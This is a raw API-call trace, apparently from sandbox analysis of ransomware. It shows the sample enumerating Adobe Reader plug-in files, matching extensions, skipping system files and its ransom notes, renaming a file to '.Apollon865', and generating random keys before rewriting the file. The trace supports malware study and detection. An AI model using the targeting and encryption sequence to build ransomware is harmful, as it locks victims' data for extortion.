	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="dbf") returned -1
	[0057.688] lstrlenW (lpString="mdf") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="mdf") returned -1
	[0057.688] lstrlenW (lpString="mdb") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="mdb") returned -1
	[0057.688] lstrlenW (lpString="sql") returned 3
	[0057.688] lstrcmpiW (lpString1="CHT", lpString2="sql") returned -1
	[0057.688] lstrlenW (lpString="sqlite") returned 6
	[0057.688] lstrcmpiW (lpString1="sh.CHT", lpString2="sqlite") returned -1
	[0057.688] lstrlenW (lpString="sqlite3") returned 7
	[0057.688] lstrcmpiW (lpString1="ash.CHT", lpString2="sqlite3") returned -1
	[0057.689] lstrlenW (lpString="sqlitedb") returned 8
	[0057.689] lstrcmpiW (lpString1="lash.CHT", lpString2="sqlitedb") returned -1
	[0057.689] lstrlenW (lpString="xml") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="xml") returned -1
	[0057.689] lstrlenW (lpString="$er") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="$er") returned 1
	[0057.689] lstrlenW (lpString="4dd") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="4dd") returned 1
	[0057.689] lstrlenW (lpString="4dl") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="4dl") returned 1
	[0057.689] lstrlenW (lpString="^^^") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="^^^") returned 1
	[0057.689] lstrlenW (lpString="abs") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="abs") returned 1
	[0057.689] lstrlenW (lpString="abx") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="abx") returned 1
	[0057.689] lstrlenW (lpString="accdb") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accdb") returned 1
	[0057.689] lstrlenW (lpString="accdc") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accdc") returned 1
	[0057.689] lstrlenW (lpString="accde") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accde") returned 1
	[0057.689] lstrlenW (lpString="accdr") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accdr") returned 1
	[0057.689] lstrlenW (lpString="accdt") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accdt") returned 1
	[0057.689] lstrlenW (lpString="accdw") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accdw") returned 1
	[0057.689] lstrlenW (lpString="accft") returned 5
	[0057.689] lstrcmpiW (lpString1="h.CHT", lpString2="accft") returned 1
	[0057.689] lstrlenW (lpString="adb") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0057.689] lstrlenW (lpString="adb") returned 3
	[0057.689] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0057.689] lstrlenW (lpString="ade") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="ade") returned 1
	[0057.690] lstrlenW (lpString="adf") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="adf") returned 1
	[0057.690] lstrlenW (lpString="adn") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="adn") returned 1
	[0057.690] lstrlenW (lpString="adp") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="adp") returned 1
	[0057.690] lstrlenW (lpString="alf") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="alf") returned 1
	[0057.690] lstrlenW (lpString="ask") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="ask") returned 1
	[0057.690] lstrlenW (lpString="btr") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="btr") returned 1
	[0057.690] lstrlenW (lpString="cat") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="cat") returned 1
	[0057.690] lstrlenW (lpString="cdb") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="cdb") returned 1
	[0057.690] lstrlenW (lpString="ckp") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="ckp") returned -1
	[0057.690] lstrlenW (lpString="cma") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="cma") returned -1
	[0057.690] lstrlenW (lpString="cpd") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="cpd") returned -1
	[0057.690] lstrlenW (lpString="dacpac") returned 6
	[0057.690] lstrcmpiW (lpString1="sh.CHT", lpString2="dacpac") returned 1
	[0057.690] lstrlenW (lpString="dad") returned 3
	[0057.690] lstrcmpiW (lpString1="CHT", lpString2="dad") returned -1
	[0057.690] lstrlenW (lpString="dadiagrams") returned 10
	[0057.690] lstrlenW (lpString="daschema") returned 8
	[0057.690] lstrcmpiW (lpString1="lash.CHT", lpString2="daschema") returned 1
	[0057.690] lstrlenW (lpString="db-journal") returned 10
	[0057.690] lstrlenW (lpString="db-shm") returned 6
	[0057.690] lstrcmpiW (lpString1="sh.CHT", lpString2="db-shm") returned 1
	[0057.690] lstrlenW (lpString="db-wal") returned 6
	[0057.690] lstrcmpiW (lpString1="sh.CHT", lpString2="db-wal") returned 1
	[0057.690] lstrlenW (lpString="dbc") returned 3
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dbc") returned -1
	[0057.691] lstrlenW (lpString="dbs") returned 3
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dbs") returned -1
	[0057.691] lstrlenW (lpString="dbt") returned 3
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dbt") returned -1
	[0057.691] lstrlenW (lpString="dbv") returned 3
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dbv") returned -1
	[0057.691] lstrlenW (lpString="dbx") returned 3
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dbx") returned -1
	[0057.691] lstrlenW (lpString="dcb") returned 3
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dcb") returned -1
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dct") returned -1
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dcx") returned -1
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="ddl") returned -1
	[0057.691] lstrcmpiW (lpString1=".CHT", lpString2="dlis") returned -1
	[0057.691] lstrcmpiW (lpString1="CHT", lpString2="dp1") returned -1
	[0057.691] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.DAN" | out: lpString1="Flash.DAN") returned="Flash.DAN"
	[0057.691] lstrlenW (lpString="Flash.DAN") returned 9
	[0057.691] lstrlenW (lpString="Apollon865") returned 10
	[0057.691] lstrlenW (lpString=".dll") returned 4
	[0057.691] lstrcmpiW (lpString1="Flash.DAN", lpString2=".dll") returned 1
	[0057.691] lstrlenW (lpString=".lnk") returned 4
	[0057.691] lstrcmpiW (lpString1="Flash.DAN", lpString2=".lnk") returned 1
	[0057.691] lstrlenW (lpString=".ini") returned 4
	[0057.691] lstrcmpiW (lpString1="Flash.DAN", lpString2=".ini") returned 1
	[0057.691] lstrlenW (lpString=".sys") returned 4
	[0057.691] lstrcmpiW (lpString1="Flash.DAN", lpString2=".sys") returned 1
	[0057.691] lstrlenW (lpString="Flash.DAN") returned 9
	[0057.692] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.DEU" | out: lpString1="Flash.DEU") returned="Flash.DEU"
	[0057.692] lstrlenW (lpString="Flash.DEU") returned 9
	[0057.692] lstrlenW (lpString="Apollon865") returned 10
	[0057.692] lstrlenW (lpString=".dll") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.DEU", lpString2=".dll") returned 1
	[0057.692] lstrlenW (lpString=".lnk") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.DEU", lpString2=".lnk") returned 1
	[0057.692] lstrlenW (lpString=".ini") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.DEU", lpString2=".ini") returned 1
	[0057.692] lstrlenW (lpString=".sys") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.DEU", lpString2=".sys") returned 1
	[0057.692] lstrlenW (lpString="Flash.DEU") returned 9
	[0057.692] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.ESP" | out: lpString1="Flash.ESP") returned="Flash.ESP"
	[0057.692] lstrlenW (lpString="Flash.ESP") returned 9
	[0057.692] lstrlenW (lpString="Apollon865") returned 10
	[0057.692] lstrlenW (lpString=".dll") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.ESP", lpString2=".dll") returned 1
	[0057.692] lstrlenW (lpString=".lnk") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.ESP", lpString2=".lnk") returned 1
	[0057.692] lstrlenW (lpString=".ini") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.ESP", lpString2=".ini") returned 1
	[0057.692] lstrlenW (lpString=".sys") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.ESP", lpString2=".sys") returned 1
	[0057.692] lstrlenW (lpString="Flash.ESP") returned 9
	[0057.692] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.EUQ" | out: lpString1="Flash.EUQ") returned="Flash.EUQ"
	[0057.692] lstrlenW (lpString="Flash.EUQ") returned 9
	[0057.692] lstrlenW (lpString="Apollon865") returned 10
	[0057.692] lstrlenW (lpString=".dll") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.EUQ", lpString2=".dll") returned 1
	[0057.692] lstrlenW (lpString=".lnk") returned 4
	[0057.692] lstrcmpiW (lpString1="Flash.EUQ", lpString2=".lnk") returned 1
	[0057.693] lstrlenW (lpString=".ini") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.EUQ", lpString2=".ini") returned 1
	[0057.693] lstrlenW (lpString=".sys") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.EUQ", lpString2=".sys") returned 1
	[0057.693] lstrlenW (lpString="Flash.EUQ") returned 9
	[0057.693] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.FRA" | out: lpString1="Flash.FRA") returned="Flash.FRA"
	[0057.693] lstrlenW (lpString="Flash.FRA") returned 9
	[0057.693] lstrlenW (lpString="Apollon865") returned 10
	[0057.693] lstrlenW (lpString=".dll") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.FRA", lpString2=".dll") returned 1
	[0057.693] lstrlenW (lpString=".lnk") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.FRA", lpString2=".lnk") returned 1
	[0057.693] lstrlenW (lpString=".ini") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.FRA", lpString2=".ini") returned 1
	[0057.693] lstrlenW (lpString=".sys") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.FRA", lpString2=".sys") returned 1
	[0057.693] lstrlenW (lpString="Flash.FRA") returned 9
	[0057.693] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.ITA" | out: lpString1="Flash.ITA") returned="Flash.ITA"
	[0057.693] lstrlenW (lpString="Flash.ITA") returned 9
	[0057.693] lstrlenW (lpString="Apollon865") returned 10
	[0057.693] lstrlenW (lpString=".dll") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.ITA", lpString2=".dll") returned 1
	[0057.693] lstrlenW (lpString=".lnk") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.ITA", lpString2=".lnk") returned 1
	[0057.693] lstrlenW (lpString=".ini") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.ITA", lpString2=".ini") returned 1
	[0057.693] lstrlenW (lpString=".sys") returned 4
	[0057.693] lstrcmpiW (lpString1="Flash.ITA", lpString2=".sys") returned 1
	[0057.693] lstrlenW (lpString="Flash.ITA") returned 9
	[0057.693] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.JPN" | out: lpString1="Flash.JPN") returned="Flash.JPN"
	[0057.693] lstrlenW (lpString="Flash.JPN") returned 9
	[0057.694] lstrlenW (lpString="Apollon865") returned 10
	[0057.694] lstrlenW (lpString=".dll") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.JPN", lpString2=".dll") returned 1
	[0057.694] lstrlenW (lpString=".lnk") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.JPN", lpString2=".lnk") returned 1
	[0057.694] lstrlenW (lpString=".ini") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.JPN", lpString2=".ini") returned 1
	[0057.694] lstrlenW (lpString=".sys") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.JPN", lpString2=".sys") returned 1
	[0057.694] lstrlenW (lpString="Flash.JPN") returned 9
	[0057.694] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.KOR" | out: lpString1="Flash.KOR") returned="Flash.KOR"
	[0057.694] lstrlenW (lpString="Flash.KOR") returned 9
	[0057.694] lstrlenW (lpString="Apollon865") returned 10
	[0057.694] lstrlenW (lpString=".dll") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.KOR", lpString2=".dll") returned 1
	[0057.694] lstrlenW (lpString=".lnk") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.KOR", lpString2=".lnk") returned 1
	[0057.694] lstrlenW (lpString=".ini") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.KOR", lpString2=".ini") returned 1
	[0057.694] lstrlenW (lpString=".sys") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.KOR", lpString2=".sys") returned 1
	[0057.694] lstrlenW (lpString="Flash.KOR") returned 9
	[0057.694] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.mpp" | out: lpString1="Flash.mpp") returned="Flash.mpp"
	[0057.694] lstrlenW (lpString="Flash.mpp") returned 9
	[0057.694] lstrlenW (lpString="Apollon865") returned 10
	[0057.694] lstrlenW (lpString=".dll") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.mpp", lpString2=".dll") returned 1
	[0057.694] lstrlenW (lpString=".lnk") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.mpp", lpString2=".lnk") returned 1
	[0057.694] lstrlenW (lpString=".ini") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.mpp", lpString2=".ini") returned 1
	[0057.694] lstrlenW (lpString=".sys") returned 4
	[0057.694] lstrcmpiW (lpString1="Flash.mpp", lpString2=".sys") returned 1
	[0057.694] lstrlenW (lpString="Flash.mpp") returned 9
	[0057.695] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.NLD" | out: lpString1="Flash.NLD") returned="Flash.NLD"
	[0057.695] lstrlenW (lpString="Flash.NLD") returned 9
	[0057.695] lstrlenW (lpString="Apollon865") returned 10
	[0057.695] lstrlenW (lpString=".dll") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NLD", lpString2=".dll") returned 1
	[0057.695] lstrlenW (lpString=".lnk") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NLD", lpString2=".lnk") returned 1
	[0057.695] lstrlenW (lpString=".ini") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NLD", lpString2=".ini") returned 1
	[0057.695] lstrlenW (lpString=".sys") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NLD", lpString2=".sys") returned 1
	[0057.695] lstrlenW (lpString="Flash.NLD") returned 9
	[0057.695] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.NOR" | out: lpString1="Flash.NOR") returned="Flash.NOR"
	[0057.695] lstrlenW (lpString="Flash.NOR") returned 9
	[0057.695] lstrlenW (lpString="Apollon865") returned 10
	[0057.695] lstrlenW (lpString=".dll") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NOR", lpString2=".dll") returned 1
	[0057.695] lstrlenW (lpString=".lnk") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NOR", lpString2=".lnk") returned 1
	[0057.695] lstrlenW (lpString=".ini") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NOR", lpString2=".ini") returned 1
	[0057.695] lstrlenW (lpString=".sys") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.NOR", lpString2=".sys") returned 1
	[0057.695] lstrlenW (lpString="Flash.NOR") returned 9
	[0057.695] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.PTB" | out: lpString1="Flash.PTB") returned="Flash.PTB"
	[0057.695] lstrlenW (lpString="Flash.PTB") returned 9
	[0057.695] lstrlenW (lpString="Apollon865") returned 10
	[0057.695] lstrlenW (lpString=".dll") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.PTB", lpString2=".dll") returned 1
	[0057.695] lstrlenW (lpString=".lnk") returned 4
	[0057.695] lstrcmpiW (lpString1="Flash.PTB", lpString2=".lnk") returned 1
	[0057.696] lstrlenW (lpString=".ini") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.PTB", lpString2=".ini") returned 1
	[0057.696] lstrlenW (lpString=".sys") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.PTB", lpString2=".sys") returned 1
	[0057.696] lstrlenW (lpString="Flash.PTB") returned 9
	[0057.696] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.SUO" | out: lpString1="Flash.SUO") returned="Flash.SUO"
	[0057.696] lstrlenW (lpString="Flash.SUO") returned 9
	[0057.696] lstrlenW (lpString="Apollon865") returned 10
	[0057.696] lstrlenW (lpString=".dll") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SUO", lpString2=".dll") returned 1
	[0057.696] lstrlenW (lpString=".lnk") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SUO", lpString2=".lnk") returned 1
	[0057.696] lstrlenW (lpString=".ini") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SUO", lpString2=".ini") returned 1
	[0057.696] lstrlenW (lpString=".sys") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SUO", lpString2=".sys") returned 1
	[0057.696] lstrlenW (lpString="Flash.SUO") returned 9
	[0057.696] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Flash.SVE" | out: lpString1="Flash.SVE") returned="Flash.SVE"
	[0057.696] lstrlenW (lpString="Flash.SVE") returned 9
	[0057.696] lstrlenW (lpString="Apollon865") returned 10
	[0057.696] lstrlenW (lpString=".dll") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SVE", lpString2=".dll") returned 1
	[0057.696] lstrlenW (lpString=".lnk") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SVE", lpString2=".lnk") returned 1
	[0057.696] lstrlenW (lpString=".ini") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SVE", lpString2=".ini") returned 1
	[0057.696] lstrlenW (lpString=".sys") returned 4
	[0057.696] lstrcmpiW (lpString1="Flash.SVE", lpString2=".sys") returned 1
	[0057.696] lstrlenW (lpString="Flash.SVE") returned 9
	[0057.696] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.CAT" | out: lpString1="Mcimpp.CAT") returned="Mcimpp.CAT"
	[0057.696] lstrlenW (lpString="Mcimpp.CAT") returned 10
	[0057.696] lstrlenW (lpString="Apollon865") returned 10
	[0057.697] lstrlenW (lpString=".dll") returned 4
	[0057.697] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2=".dll") returned 1
	[0057.697] lstrlenW (lpString=".lnk") returned 4
	[0057.697] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2=".lnk") returned 1
	[0057.697] lstrlenW (lpString=".ini") returned 4
	[0057.697] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2=".ini") returned 1
	[0057.697] lstrlenW (lpString=".sys") returned 4
	[0057.697] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2=".sys") returned 1
	[0057.697] lstrlenW (lpString="Mcimpp.CAT") returned 10
	[0057.697] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT.Apollon865") returned 93
	[0057.697] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat.apollon865"), dwFlags=0x1) returned 1
	[0057.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0057.698] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=8192) returned 1
	[0057.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0057.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0057.698] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0057.698] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0057.699] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0057.699] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.699] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x15c
	[0057.701] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x120000
	[0057.706] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0057.706] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0057.706] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0057.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ac68
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ac68 | out: hHeap=0x580000) returned 1
	[0057.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0057.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0057.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0057.707] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0057.707] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0057.707] CloseHandle (hObject=0x15c) returned 1
	[0057.707] CloseHandle (hObject=0x154) returned 1
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0057.707] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0057.708] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MCIMPP.CHS", cAlternateFileName="")) returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="Apollon865.txt.exe") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2=".") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="..") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="windows") returned -1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="bootmgr") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="temp") returned -1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="pagefile.sys") returned -1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="boot") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="ids.txt") returned 1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="ntuser.dat") returned -1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="perflogs") returned -1
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2="MSBuild") returned -1
	[0057.708] lstrlenW (lpString="MCIMPP.CHS") returned 10
	[0057.708] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.CAT") returned 82
	[0057.708] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="MCIMPP.CHS" | out: lpString1="MCIMPP.CHS") returned="MCIMPP.CHS"
	[0057.708] lstrlenW (lpString="MCIMPP.CHS") returned 10
	[0057.708] lstrlenW (lpString="Apollon865") returned 10
	[0057.708] lstrlenW (lpString=".dll") returned 4
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2=".dll") returned 1
	[0057.708] lstrlenW (lpString=".lnk") returned 4
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2=".lnk") returned 1
	[0057.708] lstrlenW (lpString=".ini") returned 4
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2=".ini") returned 1
	[0057.708] lstrlenW (lpString=".sys") returned 4
	[0057.708] lstrcmpiW (lpString1="MCIMPP.CHS", lpString2=".sys") returned 1
	[0057.708] lstrlenW (lpString="MCIMPP.CHS") returned 10
	[0057.708] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="MCIMPP.CHT" | out: lpString1="MCIMPP.CHT") returned="MCIMPP.CHT"
	[0057.708] lstrlenW (lpString="MCIMPP.CHT") returned 10
	[0057.709] lstrlenW (lpString="Apollon865") returned 10
	[0057.709] lstrlenW (lpString=".dll") returned 4
	[0057.709] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2=".dll") returned 1
	[0057.709] lstrlenW (lpString=".lnk") returned 4
	[0057.709] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2=".lnk") returned 1
	[0057.709] lstrlenW (lpString=".ini") returned 4
	[0057.709] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2=".ini") returned 1
	[0057.709] lstrlenW (lpString=".sys") returned 4
	[0057.709] lstrcmpiW (lpString1="MCIMPP.CHT", lpString2=".sys") returned 1
	[0057.709] lstrlenW (lpString="MCIMPP.CHT") returned 10
	[0057.709] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Mcimpp.DAN" | out: lpString1="Mcimpp.DAN") returned="Mcimpp.DAN"
	[0057.709] lstrlenW (lpString="Mcimpp.DAN") returned 10
	[0057.709] lstrlenW (lpString="Apollon865") returned 10
	[0057.709] lstrlenW (lpString=".dll") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2=".dll") returned 1
	[0057.709] lstrlenW (lpString=".lnk") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2=".lnk") returned 1
	[0057.709] lstrlenW (lpString=".ini") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2=".ini") returned 1
	[0057.709] lstrlenW (lpString=".sys") returned 4
	[0057.709] lstrcmpiW (lpString1="Mcimpp.DAN", lpString2=".sys") returned 1
	[0057.709] lstrlenW (lpString="Mcimpp.DAN") returned 10
